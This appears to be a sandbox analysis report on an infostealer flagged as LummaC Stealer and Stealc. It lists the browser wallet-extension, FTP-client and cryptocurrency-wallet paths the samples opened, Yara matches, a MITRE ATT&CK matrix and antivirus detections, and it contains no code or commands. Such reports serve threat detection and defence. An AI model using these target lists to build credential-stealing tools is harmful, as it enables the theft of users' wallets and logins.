Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI

Source: Yara match	File source: 00000000.00000003.1695973685.00000000007F3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1682695202.00000000007F3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1682378325.00000000007F3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000003B.00000003.2580293126.0000000001772000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000003B.00000003.2622372839.0000000001771000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000003B.00000003.2590778879.0000000001773000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000003B.00000003.2603936780.000000000176E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1724503778.00000000007F5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1728050949.00000000007FF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1710137219.00000000007EF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1682138495.00000000007F3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1682087443.00000000007EF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000003B.00000003.2620779995.0000000001771000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000003B.00000003.2644607291.0000000001772000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1696023139.00000000007F6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1724342554.00000000007F1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000003B.00000003.2623509191.0000000001771000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1696327370.00000000007F6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000003B.00000003.2580198517.000000000176F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000003B.00000003.2603984252.000000000177B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000003B.00000003.2664417098.0000000001774000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6800, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9eba8044e7.exe PID: 5448, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 6800, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9eba8044e7.exe PID: 5448, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1003147001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	41 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	12 Process Injection	3 Obfuscated Files or Information	Security Account Manager	12 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	236 System Information Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	871 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Bypass User Account Control	Cached Domain Credentials	3 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	381 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	381 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	3 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	47%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\7URDKE3CJSA37VV3INEEM0S4N1C.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1003145001\1553f88169.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1003146001\661f3ff865.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
